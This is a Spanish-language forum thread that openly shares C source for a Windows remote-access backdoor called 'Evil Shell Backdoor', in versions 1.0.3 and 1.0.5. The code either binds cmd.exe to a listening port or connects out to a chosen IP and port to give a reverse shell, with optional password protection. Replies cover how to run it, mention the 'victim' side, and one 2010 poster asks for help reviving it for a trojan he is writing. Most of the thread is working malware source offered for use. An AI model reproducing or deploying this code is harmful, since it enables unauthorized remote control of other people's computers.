int ReverseShell(char *Ip, short port);
/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host);

printf("\n#####################################################");
printf("\n#    -[ Evil Shell Backdoor 1.0.3 - by Lympex ]-    #");
printf("\n#---------------------------------------------------#");
printf("\n#            Windows Evil Shell Backdoor            #");
printf("\n#---------------------------------------------------#");
printf("\n# Contacto:                                         #");
printf("\n#   + HomePage: http://l-bytes.tk                   #");
printf("\n#   + Mail: lympex[at]gmail[dot]com                 #");
printf("\n#####################################################\n");

//comprobamos los argumentos
if(argc<2 || argc>3)
{
printf("\n[+] Usos:");
printf("\n    + Bind Shell: %s 5968",argv[0]);
printf("\n    + Rev. Shell: %s localhost 5968\n",argv[0]);
ExitProcess(0);
}

//miramos qué tipo de shell quiere
if(argc==2)
{
//lanzamos la bind shell
BindShellPort((short)atoi(argv[1]));
}else{
//lanzamos la rev. shell
ReverseShell(HostIp(argv[1]),(short)atoi(argv[2]));
}

ExitProcess(0);
}

/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
//printf("ERROR - Error al bindear el socket\n");
printf("ERROR - %s",MensajeError(GetLastError()));
WSACleanup();
return 1;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
//printf("ERROR - Error al poner el socket a la escucha\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}
printf("\n[+] Esperando conexion por el puerto %d...",port);
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
//printf("ERROR - Error al aceptar\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(Ip);

if(Winsock==INVALID_SOCKET)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Conectando con %s:%d...",Ip,port);
/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Winsock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num)
{
char *lpMsgBuf;

//cojemos el mensaje del error
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_num,
0,
(LPTSTR) &lpMsgBuf,
0,
NULL
);

return lpMsgBuf;
}


Título: Re: Win Backdoor Bind port
Publicado por: kichan en 18 Agosto 2005, 23:33 pm
limpex dme una cosa tu programa funciona de la linea de comandos tamos de acuerdo.. pero como debo pasarle los parametros para que se ejcute correctamente ..es decir

yo lo hice algo asi

c:\tuprograma 5968 
asi debo ejecutarlo????

lo compile con DEV C++ y rula perfecto..
ahora .que bueno que le hayas ehco mejoras..te felicito...


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 18 Agosto 2005, 23:36 pm
si, el ejemplo que dices sería para la bind shell.

Citar
#####################################################
#    -[ Evil Shell Backdoor 1.0.3 - by Lympex ]-    #
#---------------------------------------------------#
#            Windows Evil Shell Backdoor            #
#---------------------------------------------------#
# Contacto:                                         #
#   + HomePage: http://l-bytes.tk                   #
#   + Mail: lympex[at]gmail[dot]com                 #
#####################################################

  • Usos:
    + Bind Shell: Evil.Shell.Backdoor_1.0.3.exe 5968
    + Rev. Shell: Evil.Shell.Backdoor_1.0.3.exe localhost 5968


Título: Re: Win Backdoor Bind port
Publicado por: kichan en 18 Agosto 2005, 23:39 pm
y para Rev. shell   ??


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 18 Agosto 2005, 23:42 pm
no has leido mi último post, ni has compilado el nuevo codigo?   :-X


Título: Re: Win Backdoor Bind port
Publicado por: kichan en 18 Agosto 2005, 23:44 pm
ups.. claro....pero nada te hubiera costado que me hubieras respondido iguall  ;D


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 19 Agosto 2005, 00:11 am
Aquí está la version 1.0.5  ;)

Código:
/*
====================================================================================
||  ##           #######  ##   ##    ##     #######   #######       ##    ##  ##  ||
||  ##           ##    ##  ## ##  ########  ##        ##         ######## ## ##   ||
||  ##     ##### ########   ###      ##     #######   #######       ##    ####    ||
||  ##           ##    ##   ##       ##     ##             ##  ###  ##    ## ##   ||
||  ######       #######    ##       ##     #######   #######  ###  ##    ##  ##  ||
====================================================================================

Nombre: Evil Shell Backdoor
Version: 1.0.5
Fichero: Evil.Shell.Backdoor_1.0.5.c
Descripcion: Devuelve Bind Shell por el puerto que se le indique, o reverse shell al
Ip:Puerto que se le indique, con posibilidad de poner pass
Autor: Lympex
Contacto:
+ Web: http://l-bytes.tk
+ Mail: lympex[at]gmail[dot]com
Fecha: 17/08/2005

Greetz:
-------
orphen_nb
HaCkZaTaN
P[i]

Nota: Posible fallo al dar shell en Windows XP Professional SP2
*/

#include <stdio.h>
#include <winsock2.h>

//la librería del socket
#pragma comment(lib,"ws2_32")

/*devuelde la descripción del error, a partir de su código*/
char *MensajeError(DWORD error_num);

/*
FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
quita el último caracter de una string
*/
char chop(char *variable);

/*para crear el socket*/
WSADATA wsaData;
SOCKET Winsock;//el que escucha
SOCKET Sock;//el que establece la conexion
struct sockaddr_in Winsock_In;
/*para crear el proceso de la shell*/
STARTUPINFO start_proc; /*datos del proceso en el que volcar los datos/eventos*/
PROCESS_INFORMATION info_proc; /*salida del proceso de la shell*/

/*para comprobar la password en caso de que exista*/
char passwd[100];
unsigned int i;

int main(int argc, char *argv[])
{
/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port, char *pwd);
/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port, char *pwd);
/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host);

printf("\n#####################################################");
printf("\n#    -[ Evil Shell Backdoor 1.0.5 - by Lympex ]-    #");
printf("\n#---------------------------------------------------#");
printf("\n#            Windows Evil Shell Backdoor            #");
printf("\n#---------------------------------------------------#");
printf("\n# Contacto:                                         #");
printf("\n#   + HomePage: http://l-bytes.tk                   #");
printf("\n#   + Mail: lympex[at]gmail[dot]com                 #");
printf("\n#####################################################\n");

//comprobamos los argumentos
if(argc<3 || argc>6)
{
printf("\n[+] Usos:");
printf("\n    + Bind Shell: %s -b 5968 <opcion>",argv[0]);
printf("\n    + Rev. Shell: %s -r localhost 5968 <opcion>\n",argv[0]);
printf("\n[+] Opcion:");
printf("\n    + -p <pwd>\n");
ExitProcess(0);
}

//si es bind
if(!strcmp(argv[1],"-b"))
{
if(argc>=5)
{
BindShellPort((short)atoi(argv[2]),argv[4]);
}else{
BindShellPort((short)atoi(argv[2]),NULL);
}
}else if(!strcmp(argv[1],"-r")){

if(argc>=6)
{
ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),argv[5]);
}else{
ReverseShell(HostIp(argv[2]),(short)atoi(argv[3]),NULL);
}
}else{
printf("\n[!] Parametro incorrecto\n");
}

ExitProcess(0);
}

/*BINDEA UNA SHELL AL PUERTO INDICADO*/
int BindShellPort(short port, char *pwd)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=htonl(INADDR_ANY);
/*unimos el socket*/
if(bind(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In))==SOCKET_ERROR)
{
//printf("ERROR - Error al bindear el socket\n");
printf("ERROR - %s",MensajeError(GetLastError()));
WSACleanup();
return 1;
}
/*lo ponemos a la escucha, a la espera de clientes*/
if(listen(Winsock,5)==SOCKET_ERROR)
{
//printf("ERROR - Error al poner el socket a la escucha\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}
printf("\n[+] Esperando conexion por el puerto %d...",port);
/*asociamos la conexión establecida a otro socket*/
if((Sock=accept(Winsock,NULL,NULL))==INVALID_SOCKET)
{
//printf("ERROR - Error al aceptar\n");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

if(pwd!=NULL)
{
printf("\n[+] Esperando password...");
do
{
send(Sock,"[+] Introduce la password de la shell: ",strlen("[+] Introduce la password de la shell: "),0);
i=recv(Sock,passwd,100,0);chop(passwd);
passwd[i]='\0';
}while(strcmp(pwd,passwd));//mientras que lo que recibamos no es igual a la contraseña
printf("OK");
send(Sock,"\n",strlen("\n"),0);
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Sock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*CONECTA A UNA IP POR UN PUERTO, PARA DAR SHELL*/
int ReverseShell(char *Ip, short port, char *pwd)
{
/*=========================================
COMENZAMOS A PONER EL SOCKET A LA ESCUCHA
=========================================*/
printf("\n[+] Creando el Socket...");
/*iniciamos el socket*/
WSAStartup(MAKEWORD(2,2), &wsaData);
/*asociamos*/
//Winsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);/*si usamos socket en lugar de WSASocket, no funciona :/ */
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
/*rellenamos la estructura*/
Winsock_In.sin_port=htons(port);
Winsock_In.sin_family=AF_INET;
Winsock_In.sin_addr.s_addr=inet_addr(Ip);

if(Winsock==INVALID_SOCKET)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

printf("\n[+] Conectando con %s:%d...",Ip,port);
/*conectamos*/
if(WSAConnect(Winsock,(SOCKADDR*)&Winsock_In,sizeof(Winsock_In),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK");
}

if(pwd!=NULL)
{
printf("\n[+] Esperando password...");
do
{
send(Winsock,"[+] Introduce la password para la shell: ",strlen("\n[+] Introduce la password para la shell: "),0);
i=recv(Winsock,passwd,100,0);chop(passwd);
passwd[i]='\0';
}while(strcmp(pwd,passwd));
printf("OK");
send(Winsock,"\n",strlen("\n"),0);
}

printf("\n[+] Lanzando shell...");

/*=========================================
             LANZAMOS LA SHELL
=========================================*/
//rellenamos la estructura
memset(&start_proc,0,sizeof(start_proc));//limpiamos
start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)Winsock;
//lanzamos la shell
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc)==0)
{
//printf("ERROR");
printf("ERROR - %s",MensajeError(GetLastError()));
/*salimos*/
printf("\n[+] Cerrando socket...");
WSACleanup();
printf("OK\n");
return 1;
}else{
printf("OK\n");
}

return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}

//devuelde la descripción del error, a partir de su código
char *MensajeError(DWORD error_num)
{
char *lpMsgBuf;

//cojemos el mensaje del error
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_num,
0,
(LPTSTR) &lpMsgBuf,
0,
NULL
);

return lpMsgBuf;
}

//FUNCIÓN CHOP($str); (TRADUCIDO DE LENGUAJE PERL) - by Lympex
//quita el último caracter de una string
char chop(char *variable)
{
char *tmp;
unsigned int i;

tmp=(char *) malloc(strlen(variable)*sizeof(char));
strcpy(tmp,variable);

for(i=0;i<strlen(tmp)-1;i++)
{
variable[i]=tmp[i];
variable[i+1]='\0';
}

return tmp[strlen(tmp)];
}


Título: Re: Win Backdoor Bind port
Publicado por: kichan en 19 Agosto 2005, 00:12 am
hasta cuando sigues posteado tu code.. digo. pra saber a que atenernos.. :P


Título: Re: Win Backdoor Bind port
Publicado por: sch3m4 en 19 Agosto 2005, 00:15 am
solo estoy posteando algunas mejoras en el source por si a alguien le interesa.


Título: Re: Win Backdoor Bind port
Publicado por: kichan en 19 Agosto 2005, 00:17 am
ah por supuesto.... ;D


Título: Re: Win Backdoor Bind port
Publicado por: sarumah en 23 Diciembre 2005, 18:18 pm
he llegado un poco tarde a este hilo,, pero... bue,, a ver.. la shell me compila y todo bien.. pero.. no deberia dar la shell del lado del netcat??? a mi me sa la shell del lado donde ejecuté la shell (o sea del lado de la victima).... que raro.. a alguien le ha pasado???,,,

a ver,, es como si ignorara la siguiente linea

start_proc.hStdInput=start_proc.hStdOutput=start_proc.hStdError = (SOCKET *)Sock;

de echo lo compile con y sin esa linea y el programa se comporta ezactamente igual...,, esas cosas creo que solo me pasan a mi, tengo mucha mala leche..  :-[

uso win98..
salu2.

para que no alla confuciones,, estoy usando solo la bind shell, nada de reverse shell,, ..


Título: Re: Win Backdoor Bind port
Publicado por: Garfield07 en 8 Septiembre 2010, 13:25 pm
Buenas, se que este tema se ha pasado a la historia, pero me parece realmente bueno el code. Es mas limpio que el mio. Sin embargo, lo probe en Windows Vista SP2, y no funcionaba correctamente. No se habrian shells por ningun lado xD. Alguien sabe como arreglarlo? Digo que tube que usar socket y connect en vez de WinSocket y WinConnect porque ya no existen. Ya se que si usabas socket y connect no iba, pero es que con lo otro tampoco iba pork ya no existe y GCC desde linea de comandos no lo reconoce.

El code es realmente bueno, y quiero renovarlo, pues estoy trabajando en un troyano parecido a ese, y me gustaria sacar ideas. Como podria hacer que corra??

Por cierto, el mio usa lo mismo pero incluyendole pipes. Pueden verlo en otros posts.